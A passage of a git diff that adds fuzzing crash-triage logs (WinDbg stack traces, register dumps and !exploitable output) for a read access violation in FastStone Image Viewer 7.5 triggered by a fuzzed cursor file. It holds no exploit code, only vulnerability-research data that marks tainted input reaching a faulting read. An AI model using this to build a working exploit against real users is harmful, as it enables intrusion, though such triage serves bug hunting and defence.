st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-9.838e-026 1.59226e-035 -1.16485e+037 0.117462 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002d1000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002d1000 94ce847a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bc 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002d1000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/48494/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..7055ee8 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xCF0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xCF0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(cf0.1660): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07ff7b10 edx=00003879 esi=12738f10 edi=0fd18fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.791712547591701600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-0.00183392 -9.3913e-035 -1.47863e+009 4.76547e-025 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080d8130 08055930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00292000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00292000 a58dbd7b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b9 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00292000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..7055ee8 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/54619/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xCF0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xCF0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(cf0.1660): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07ff7b10 edx=00003879 esi=12738f10 edi=0fd18fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 